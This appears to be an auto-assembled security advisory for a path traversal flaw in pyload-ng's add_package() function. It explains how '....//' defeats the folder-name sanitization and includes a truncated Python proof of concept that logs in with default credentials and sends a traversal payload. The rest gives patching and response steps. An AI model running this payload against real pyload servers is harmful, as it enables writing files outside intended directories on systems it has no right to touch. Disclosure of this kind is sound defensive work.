Path Traversal in pyload-ng (CVE-2026-42314)
Summary
Path traversal in pyload-ng (CVE-2026-42314). Data can be tampered with by attackers. Mitigation: upgrade to 0.5.0b3.dev100 or later.
Original description
The description as published by the source.
Insufficient sanitization of package folder names allows writing files outside the intended download directory.
Affected Component
src/pyload/core/api/__init__.py- Function:
add_package()
Description
Package folder names are sanitized using insufficient string replacement:
folder = (
folder.replace("http://", "")
.replace("https://", "")
.replace("../", "_") # Bypassable!
.replace("..\\", "_")
.replace(":", "")
.replace("/", "_")
.replace("\\", "_")
)
The ../ replacement is bypassable. The pattern ....// becomes .._ after replacement (partial removal), leaving .. which can be exploited when the path is later resolved by the OS.
Proof of Concept
Setup
pip install pyload-ng[all]
pyload -d &
# Default credentials: pyload / pyload
Exploit
#!/usr/bin/env python3
import requests
BASE_URL = "http://localhost:8000"
USERNAME = "pyload"
PASSWORD = "pyload"
session = requests.Session()
# Login
session.post(f"{BASE_URL}/login", data={
"username": USERNAME,
"password": PASSWORD
})
# Create package with malicious folder name
# The pattern ....// bypasses the ../ replacement
# After sanitization: .._ (still contains ..)
folder_payload = "....//....//....//tmp/evil"
resp = session.post(f"{BASE_URL}/api/add_package", json={
"name": "test_package",
"links": ["http://example.com/file.txt"],
"dest": 1 # Destination.QUEUE
})
package_id = resp.json()
print(f"Created pa…
Source: NIST National Vulnerability Database NVD GitHub Advisory
Auto-generated summary
Assembled by SecPulse from the source data (CVSS, CWE, affected versions) using templates — no AI involved. Check the original description and references below for exact details.
A vulnerability tracked as CVE-2026-42314 has been found in pyload-ng.
Data can be tampered with by attackers. CVSS score: 6.5/10.
What to do: upgrade pyload-ng to 0.5.0b3.dev100 or later.
If unsure, ask your IT team or search "pyload-ng CVE-2026-42314" on the vendor's site.
CVE-2026-42314 (pyload-ng) — CWE-22 / CVSS v3 6.5
Attack vector: remote (network-reachable) / no user interaction
Patched: 0.5.0b3.dev100 — apply immediately
Plan: 1) Audit SBOM/dependencies, 2) Stage→prod upgrade, 3) Add WAF/proxy monitoring on affected endpoints, 4) Hunt IOCs in logs.
Refs: see the GHSA / vendor advisory / patched release linked on this page.
Path traversal (CWE-22) exists in pyload-ng.
Check the vendor advisory for the affected versions of pyload-ng.
Severity: Medium (CVSS 6.5/10). Data can be tampered with by attackers.
Update to 0.5.0b3.dev100.
Until the patch is applied: disable the affected feature, apply WAF rules, or restrict access via network ACLs.
Search webserver/proxy logs for unusual request patterns matching this CVE's known IOCs. Run grep -r 'pyload-ng' . against your dependency files (package-lock.json, requirements.txt, go.sum) to find affected services.
Response actions
Concrete steps and command examples for SOC/SRE teams to execute in order
-
1Identify exposure identify
grep -r 'pyload-ng' . | grep -v node_modulesリポジトリと本番環境の依存ファイル (package-lock.json / requirements.txt / go.sum / Gemfile.lock 等) で
pyload-ngを grep し、稼働しているサービス・バージョンを把握する。 -
2Apply patch patch
Upgrade pyload-ng to 0.5.0b3.dev100ステージング環境で 0.5.0b3.dev100 に上げて回帰テスト → 本番反映。回帰テストはアプリの主要ハッピーパスを含めること。
-
3Post-deployment verification verify
Confirm patched version is live in productionパッチ適用後、ステージングで PoC または同等の悪用パターンを再現して脆弱性が閉じたことを確認。本番ではアクセスログ・WAF でアラート再発が無いか継続監視。
Affected packages
References
- advisory nvd.nist.gov
- package github.com
- web github.com
- web github.com
- web github.com